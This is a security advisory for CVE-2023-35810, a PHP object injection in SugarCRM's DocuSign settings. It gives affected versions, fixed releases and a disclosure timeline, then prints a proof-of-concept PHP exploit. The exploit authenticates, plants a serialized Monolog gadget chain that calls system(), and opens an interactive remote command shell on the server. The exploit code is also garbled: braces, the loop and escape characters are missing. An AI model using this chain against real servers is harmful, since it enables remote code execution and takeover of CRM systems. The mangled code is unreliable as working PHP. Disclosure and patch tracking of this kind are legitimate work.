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SugarCRM versions 12.2.0 and below suffer from a PHP object injection vulnerability.

advisories | CVE-2023-35810

SugarCRM <= 12.2.0 (Docusign_GlobalSettings) PHP Object Injection

[-] Software Link:

[-] Affected Versions:

Version 12.2.0 and prior versions.
Version 12.0.2 and prior versions.
Version 11.0.5 and prior versions.

[-] Vulnerability Description:

There is a Second-Order PHP Object Injection vulnerability which might
allow malicious
admin users to execute arbitrary PHP code on the web server (RCE) by
storing malicious
serialized objects into the database.

The vulnerability can be triggered by invoking the
"/DocuSign/getGlobalConfig" REST API
endpoint, which is using the unserialize() PHP function with the
parameter. This can be exploited to inject arbitrary PHP objects into
the application
scope, allowing an attacker to perform a variety of attacks.

[-] Proof of Concept:

[Packet Storm Note: see below]

[-] Solution:

Upgrade to version 12.3.0, 12.0.3, 11.0.6, or later.

[-] Disclosure Timeline:

[14/02/2023] - Vendor notified
[12/04/2023] - Fixed versions released
[17/06/2023] - CVE number assigned
[23/08/2023] - Publication of this advisory

[-] CVE Reference:

The Common Vulnerabilities and Exposures project (
has assigned the name CVE-2023-35810 to this vulnerability.

[-] Credits:

Vulnerability discovered by Egidio Romano.

[-] Original Advisory:

[-] Other References:

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if (!extension_loaded("curl")) die("[-] cURL extension required!n");

if ($argc != 4) die("Usage: php $argv[0] <URL> <username> <password>n");


function inject_pop_chain($cmd)
global $ch, $url;

$pop = new MonologHandlerBufferHandler(["current", "system"], [$cmd, "level" => null]);
$pop = new MonologHandlerSyslogUdpHandler($pop);
$pop = base64_encode(serialize($pop));

curl_setopt($ch, CURLOPT_URL, "{$url}rest/v11_18/Administration/config/Docusign");
curl_setopt($ch, CURLOPT_POSTFIELDS, '{"Docusign_GlobalSettings":"'.$pop.'"}');


list($url, $user, $pass) = [$argv[1], $argv[2], $argv[3]];

print "[+] Logging in with username '{$user}' and password '{$pass}'n";

$ch = curl_init();

$params = ["username" => $user, "password" => $pass, "grant_type" => "password", "client_id" => "sugar"];

curl_setopt($ch, CURLOPT_URL, "{$url}rest/v11_18/oauth2/token");
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($params));
curl_setopt($ch, CURLOPT_HTTPHEADER, ["Content-Type: application/json"]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

if (($token = (json_decode(curl_exec($ch)))->access_token) == null) die("[+] Login failed!n");

curl_setopt($ch, CURLOPT_HTTPHEADER, ["Content-Type: application/json", "OAuth-Token: {$token}"]);

print "[+] Launching shelln";

print "nsugar-shell# ";
if (($cmd = trim(fgets(STDIN))) == "exit") break;
curl_setopt($ch, CURLOPT_URL, "{$url}rest/v11_18/DocuSign/getGlobalConfig");
curl_setopt($ch, CURLOPT_POST, false);
preg_match("/(.+)/s", curl_exec($ch), $m) ? print $m[1] : die("n[+] Exploit failed!n");

// cleaning
curl_setopt($ch, CURLOPT_URL, "{$url}rest/v11_18/Administration/config/Docusign");
curl_setopt($ch, CURLOPT_POSTFIELDS, '{"Docusign_GlobalSettings":""}');